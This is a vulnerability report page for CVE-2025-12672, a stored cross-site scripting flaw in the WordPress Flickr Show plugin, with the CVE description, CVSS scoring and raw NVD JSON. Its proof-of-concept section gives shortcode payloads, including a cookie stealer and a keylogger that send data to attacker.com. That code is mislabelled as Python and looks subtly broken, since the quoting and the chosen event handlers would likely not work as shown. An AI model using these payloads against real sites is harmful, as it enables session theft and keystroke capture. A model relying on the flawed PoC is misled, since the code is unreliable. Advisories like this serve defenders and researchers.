Security Vulnerability Report
中文
CVE-2025-12672 CVSS 6.4 MEDIUM

CVE-2025-12672

Published: 2025-11-11 04:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Flickr Show plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'div_height' parameter of the 'flickrshow' shortcode in all versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

wp-flickrshow <= 1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Flickr Show Plugin XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- Basic XSS PoC --> [flickrshow div_height='" onmouseover="alert(document.cookie)" style="width:100%;height:200px"'] <!-- Cookie Stealing PoC --> [flickrshow div_height='" onerror="fetch('https://attacker.com/steal?c='+document.cookie)"'] <!-- Keylogger PoC --> [flickrshow div_height='" onfocus="document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})"'] <!-- Payload Explanation: --> <!-- 1. The div_height parameter is directly output to HTML without sanitization --> <!-- 2. Quote characters break out of the attribute value --> <!-- 3. Event handlers like onmouseover/onerror/onfocus execute arbitrary JS --> <!-- 4. Attacker can steal session cookies or perform actions on behalf of victim -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12672", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:49.753", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flickr Show plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'div_height' parameter of the 'flickrshow' shortcode in all versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-flickrshow/tags/1.5/flickrshow.php#L230", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-flickrshow/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b792892-25dc-4df0-883d-afd0b47292e0?source=cve", "source": "[email protected]"}]}}